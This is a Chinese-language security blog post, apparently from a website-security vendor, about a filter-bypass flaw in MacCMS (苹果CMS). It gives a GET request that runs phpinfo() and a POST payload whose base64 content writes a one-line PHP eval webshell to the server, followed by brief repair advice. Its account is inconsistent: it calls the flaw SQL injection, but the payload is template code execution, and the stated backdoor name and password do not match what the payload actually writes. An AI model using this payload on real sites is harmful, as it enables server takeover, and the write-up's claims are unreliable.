苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜欢,于近日被网站安全检测发现,maccms存在网站漏洞,sql注入盲射获取数据库的管理员账号密码,关于该漏洞的详情,我们仔细分析看下.

1.png

苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的是sql注入漏洞,在网站的根目录下的inc文件里的module目录下的vod.php代码如下图所示:

代码里的empty($wd函数,在进行判断如果是,或者不是的逻辑过程当中,会将前段用户访问带来的参数,进行安全过滤,我们跟进代码来追寻到苹果CMS的配置文件,在function.php配置文件代码李看到对网站的所有请求方式包括get、post、cookies的提交方式都强制性的进行了安全转义。网站漏洞问题的发生就在这里.

我们仔细又发现,maccms使用了360安全提供的防止sql注入拦截代码。360的防止sql注入是好几年前开发,并公开在网络上的,已经很久没有更新维护了并且还存在sql注入代码绕过的情况,参数值之间进行实体转换的时候,360的sql拦截规则没有对空白符以及反斜杠进行拦截,导致可以绕过插入恶意参数,直接请求到苹果cms后端数据库中去,获取苹果CMS的管理员账号密码。

2.png

我们来看下如何利用苹果CMS的漏洞,从上面漏洞发生的细节里可以看出,是因为拦截sql注入语句的过程中存在可以被绕过的漏洞。我们来使用%0b,以及空格对代码进行注入,sql语句在拼接中,可以插入反斜杠进行单引号的报错,从而绕过苹果CMS的安全拦截。语句如下:

GET请求:

http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}

3.png

可以直接看php的具体信息

POST请求

可以直接获取webshell

http://127.0.0.1/index.PHP?m=vod-search

POST内容如下:

wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

可以直接生成带有一句话木马后门的代码,文件名为safe.php,一句话木马链接密码是safe.

如何修复苹果cms网站漏洞呢?

对网站漏洞的修复我们要知道漏洞产生的原因,以及为何会绕过苹果CMS的安全过滤,maccms使用的addslash安全函数,sql中没有加单引号的安全防护,in字句也很容易忘记加引号,再一个后期处理安全过滤的时候可以插入单引号,stripslash导致可以加入单引号,编解码导致绕过addslash,使用urldecode编码进行注入绕过,根据上面提出的漏洞绕过,我们SINE安全提出漏洞修复的建议是:对URL解码进行双层的转义,对get,post,cookies的拦截规则进行安全更新,加强空格,以及百分符号的拦截,如果对程序代码不熟悉的话建议咨询专业的网站安全公司来处理解决。